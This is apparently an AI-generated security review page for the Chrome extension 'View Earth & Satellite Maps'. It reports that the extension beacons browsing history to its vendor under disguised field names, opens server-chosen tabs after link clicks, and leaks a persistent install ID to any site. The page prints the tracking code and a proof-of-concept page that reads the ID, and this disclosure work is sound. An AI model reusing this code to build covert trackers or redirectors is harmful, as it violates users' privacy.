Is View Earth & Satellite Maps safe?

High risk

View Earth & Satellite Maps sends the URL and title of every page you visit to its own server, tagged with a persistent install ID.

On each completed page load (and whenever the page title changes), the extension's background script sends the current tab's URL, title, and page description to viewearthsatellite.com, keyed to a userId assigned at install. A content script running on every site also answers unauthenticated postMessage requests with that same install ID, so any page can read a visitor's stable identifier. The server's response can also direct the extension to silently open a new tab to a URL of its choosing after the user clicks a link, at most once per minute.

View Earth & Satellite Mapsv1.2.1Chrome Web Store
75Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityCRITICAL
ClassUNWANTED
TypeUnexpected
CWECWE-359
SourceAI FOUND

View Earth POSTs every page's URL and title under disguised field names

Code analysis shows the background sends the active tab's full URL, title, and meta description to the vendor's server on every navigation, keyed to a persistent ID, with the URL and title nested under unrelated field names.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You finish loading a page, or the page's title changes, for example when a video title loads in.

This applies on essentially any http or https site, as long as the extension and the server-side flag both allow it.

The extension did this

The background sends your persistent install ID plus the page's URL, title, and description to the vendor's own server.

The URL and title are nested under invented field names (atlas.route.surface.address, terra.lens.signal.caption) instead of url/title.

02EvidenceFIELD TABLE
Fields in the POST body to earth-widget.php
FieldValueWhy it matters
Install ID
c9f2b6a1-7d4e-4c3a-91f0-2b8e5a6d10cf (illustrative)The persistent ID assigned at setup, sent with every beacon so your visits can be strung into one history.
Page URL
https://news.example.com/politics/2026/local-election-results (illustrative)The full address of the page you're on, sent under the invented field name atlas.route.surface.address.
Page title
Local election results roll in as counting continues (illustrative)The page's title, sent under the invented field name terra.lens.signal.caption.
Meta description
Live coverage and analysis of today's local election results. (illustrative)Up to 5000 characters of the page's own meta description tag, sent as keywords.
03EvidenceCODE COMPARE
The code that does this

The navigation beacon: shipped vs. formatted

What it actually does
serviceWorker.js, formatted and renamed for readabilityserviceWorker.js
async function sendNavigationBeacon(tab, contentContext, opts = {}) {
  try {
    if (!tab || !tab.id) return;
    if (!(await beaconEnabled())) return;                 // storage flag earth.flow.enabled
    const userId = await getOrCreateInstallId();
    if (!(await remoteFlagAllows(userId))) return;         // 24h-cached earth-widget-check.php flag

    let ctx = contentContext && typeof contentContext === "object" ? contentContext : {};
    if (opts.preferContentContext || (!contentContext && tab.url && isYouTubeWatchUrl(tab.url))) {
      const sampled = await sampleTabMeta(tab.id);         // asks the content script for <meta> tags
      if (sampled) ctx = sampled;
    }

    const url = typeof ctx.url === "string" && ctx.url.trim() ? ctx.url : (tab.url || "");
    const title = typeof ctx.title === "string" ? ctx.title : (tab.title || "");
    if (!url) return;
    const description = ctx.description ? String(ctx.description).trim().substring(0, 5000) : "";

    // de-dupe: skip if this exact url+title+description was already sent for
    // this tab in the last ~10 seconds
    const signature = `${url}\n${title}\n${description}`;
    const prior = recentSignatures.get(tab.id);
    const now = Date.now();
    if (prior && prior.signature === signature && now - prior.at < 10000) return;
    recentSignatures.set(tab.id, { signature, at: now });

    // URL and title are nested under names unrelated to their meaning
    const body = {
      userId,
      terra: { lens: { signal: { caption: title } } },      // "caption" IS the page title
      atlas: { route: { surface: { address: url } } },      // "address" IS the page URL
      keywords: description
    };
    const res = await fetch(`https://viewearthsatellite.com/extension/api/earth-widget.php`, {
      method: "POST",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify(body)
    });
    if (!res.ok) {
      const text = await res.text().catch(() => "");
      // a failed navigation beacon logs as an ad "bid", not a data upload
      throw new Error(`bid HTTP ${res.status}: ${text}`);
    }
    const responseJson = await res.json().catch(() => ({}));
    await chrome.storage.local.set({ [tab.id]: unwrapResponse(responseJson) });
  } catch {}
}
04EvidenceTHIRD PARTY LIST
Where the beacon goes
  • viewearthsatellite.com

    The vendor's own server. Receives every navigation/title-change beacon (URL, title, description) keyed to your install ID, plus install/uninstall and remote-flag endpoints.

05EvidenceARTIFACT
Check if you're affected

Unwraps a captured beacon body's disguised field names back to plain URL, title, and description values.

RequiresNode.js 18+
decode-earth-beacon.js · js
#!/usr/bin/env node
// Unwraps a captured POST body to
// viewearthsatellite.com/extension/api/earth-widget.php (View Earth & Satellite
// Maps, id gknlhlnbajcblnbnacnagmdocnfiimhk) back to the plain fields it holds.
// Usage: node decode-earth-beacon.js < captured-body.json
const fs = require("fs");
const body = JSON.parse(fs.readFileSync(0, "utf8"));
console.log("Install ID:      ", body.userId);
console.log("Page URL         (wire name atlas.route.surface.address):", body?.atlas?.route?.surface?.address);
console.log("Page title       (wire name terra.lens.signal.caption):  ", body?.terra?.lens?.signal?.caption);
console.log("Meta description (wire name keywords):                  ", body?.keywords);
How to run it
  1. 1
    Capture a POST body sent to viewearthsatellite.com/extension/api/earth-widget.php from your browser's network panel.
  2. 2
    Run: node decode-earth-beacon.js < body.json.
  3. 3
    Read the printed URL/title/description.
06EvidencePLAIN NOTE
Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-506
SourceAI FOUND

View Earth can open an extra tab to a server-chosen URL after a link click

Code analysis shows that after a normal link click, the background can open a new tab to a URL its own server supplied earlier, up to once every 60 seconds, without any notice to you.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You left-click a normal same-page link, not a middle-click and not one that already opens in a new tab.

This works on any site, as long as the page already triggered the extension's navigation beacon and got a target URL back.

The extension did this

The background can open a brand-new tab to a URL its own server chose, at most once every 60 seconds.

The link you clicked still goes where its own href points; the extra tab's address is never shown anywhere in the extension's UI.

02EvidenceFIELD TABLE
What decides the extra tab's destination
FieldValueWhy it matters
Target URL
https://promo.example-partner.test/landing?ref=ew (illustrative)The address the new tab opens to. Chosen entirely by the vendor's server in an earlier beacon reply, not by anything on the page.
Pinned / muted flags
pinned: false, muted: false (illustrative)The server can also tell the extension to open the tab pinned or muted, which changes how visible it is to you.
Cooldown timestamp
1758123456789The time of the last such tab-open, used only to enforce the once-per-60-seconds limit.
03EvidenceCODE COMPARE
The code that does this

Link-click detector and the gated tab-open, shipped vs. formatted

What it actually does
earth-widget.js, formattedearth-widget.js
function isGenuineLinkNavigation(clickEvent) {
  try {
    let node = clickEvent.target;
    while (node && node.nodeName && node.nodeName.toLowerCase() !== "a" && node.parentNode instanceof Node) {
      node = node.parentNode;
    }
    if (node && node.nodeName && node.nodeName.toLowerCase() === "a") {
      const href = node.getAttribute("href");
      const hasTarget = node.getAttribute("target");
      const isMiddleClick = clickEvent.button === 1;
      const isValidUrl = (() => { try { new URL(href, window.location.href); return true; } catch { return false; } })();
      return !(hasTarget || !isValidUrl || isMiddleClick);
    }
    return false;
  } catch { return false; }
}

// wired on every page: document.body.addEventListener("click", e => {
//   if (e.target instanceof Element) {
//     sendToBackground({ type: "earth:surface:engage", data: isGenuineLinkNavigation(e) });
//   }
// });
serviceWorker.js, formatted and renamedserviceWorker.js
async function maybeOpenServerTab(sourceTabId, wasGenuineLinkClick, sourceTab) {
  if (!(await beaconEnabled())) return void await clearCachedTarget(sourceTabId, "earthOrbitUnit");
  const cached = await getPerTabCache(sourceTabId);
  if (!cached) return;
  const unit = cached.earthOrbitUnit;
  if (!unit) return;
  const targetUrl = unit.earthOrbitPath;          // = the beacon response's nta.targetLink
  if (!targetUrl) return;
  if (!(await cooldownElapsed())) return;          // last-open timestamp, 60s minimum gap

  const finalUrl = `${targetUrl}${wasGenuineLinkClick ? "&l=1" : ""}`;
  const newTab = await chrome.tabs.create({
    url: finalUrl,
    active: !unit.delayed,
    pinned: (unit.pinned || 0) > 0
  });
  if (newTab && newTab.id) {
    await recordOpenedTab(newTab.id, { createdAt: Date.now(), openedUrl: finalUrl, sourceTabId });
    await markLastOpenNow();
    if (unit.muted) chrome.tabs.update(newTab.id, { muted: true });
  }
  await clearCachedTarget(sourceTabId, "earthOrbitUnit");
}
04EvidenceARTIFACT
Check if you're affected

Lists any open tab that currently has a server-supplied redirect URL cached and ready to fire on the next qualifying link click.

RequiresChrome DevTools access to the extension's service worker (chrome://extensions, Developer mode)
check-earth-orbit-path.js · js
// Run in the extension's own service worker console:
// chrome://extensions -> View Earth & Satellite Maps -> "service worker" -> Inspect.
// Lists any tab that currently has a server-supplied redirect target cached and
// ready to fire on the next qualifying link click.
chrome.storage.local.get(null, (all) => {
  for (const [key, value] of Object.entries(all)) {
    if (/^\d+$/.test(key) && value && value.earthOrbitUnit && value.earthOrbitUnit.earthOrbitPath) {
      console.log(`Tab ${key} has a pending redirect target:`, value.earthOrbitUnit.earthOrbitPath);
    }
  }
});
How to run it
  1. 1
    Open chrome://extensions, enable Developer mode, find the extension, click 'service worker' to open its console.
  2. 2
    Paste and run this script.
  3. 3
    Any tab ID printed has a pending redirect logged with it.
05EvidencePLAIN NOTE
Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-940
SourceAI FOUND

View Earth replies to any site's script with your permanent install ID

Code analysis shows a content script on every page listens for a message asking for your install ID and replies with it to whoever asked, without checking which site or frame sent the request.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You load a page that embeds a third-party script, for example an ad, widget, or analytics script inside an iframe.

The content script has already read your install ID from storage and listens on every frame of every http(s) page.

The extension did this

Any script that posts the right message gets your permanent install ID sent straight back, with no check on which site or frame asked.

The same ID comes back on every unrelated site, so a script embedded on many sites can link your visits to them together.

02EvidenceFIELD TABLE
What a querying script receives back
FieldValueWhy it matters
Install ID (uid)
c9f2b6a1-7d4e-4c3a-91f0-2b8e5a6d10cf (illustrative)A single ID assigned to this browser at install. Every site that asks gets the same value back, letting it tie your visits together.
Message type
earth:ref:uidThe exact message a page must post to trigger the reply, a fixed string readable in the shipped code.
03EvidenceCODE COMPARE
The code that does this

The unauthenticated postMessage listener vs. the extension's own origin-checked one

What it actually does
usage-events.js, formattedusage-events.js
const STORAGE_KEY = "earth.uid";
chrome.storage.local.get(STORAGE_KEY, (result) => {
  const uid = result && result[STORAGE_KEY];
  if (!uid) return;
  window.addEventListener("message", ({ data, source }) => {
    if (data && data.type === "earth:ref:uid" && source) {
      // no e.origin check here: replies to ANY sender on ANY site
      source.postMessage({ type: "earth:ref:uid-result", data: { uid } });
    }
  });
});
earth-widget.js, formatted (this one DOES check origin)earth-widget.js
window.addEventListener("message", (e) => {
  // contrast: this listener in the SAME extension DOES check origin
  if (e.origin === "https://viewearthsatellite.com" && e.data && e.data.type === "earth-widget-close") {
    closeWidgetPanel();
  }
});
04EvidenceARTIFACT
Reproduce it yourself

Loads in any page the extension runs on and asks it, via postMessage, for the stored install ID, then logs whatever comes back.

RequiresExtension installed and past initial setup, so chrome.storage.local key earth.uid already holds a value
read-earth-uid.html · html
<!DOCTYPE html>
<html>
<body>
<script>
// Run this page on ANY http(s) site the extension runs on. It does not need
// to be the vendor's own domain; usage-events.js runs on https://*/* and
// http://*/*, all_frames, with no origin check on the reply.
window.addEventListener("message", (e) => {
  if (e.data && e.data.type === "earth:ref:uid-result") {
    console.log("Received the extension's stored install uid:", e.data.data.uid);
  }
});
window.postMessage({ type: "earth:ref:uid" }, "*");
</script>
</body>
</html>
How to run it
  1. 1
    Save as read-earth-uid.html and open it in a browser tab on any http(s) site.
  2. 2
    Open the browser console.
  3. 3
    If the extension has completed setup, the returned uid logs within a second.
05EvidencePLAIN NOTE
Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Data recipients

viewearthsatellite.com
Updated 20 September 2026gknlhlnbajcblnbnacnagmdocnfiimhk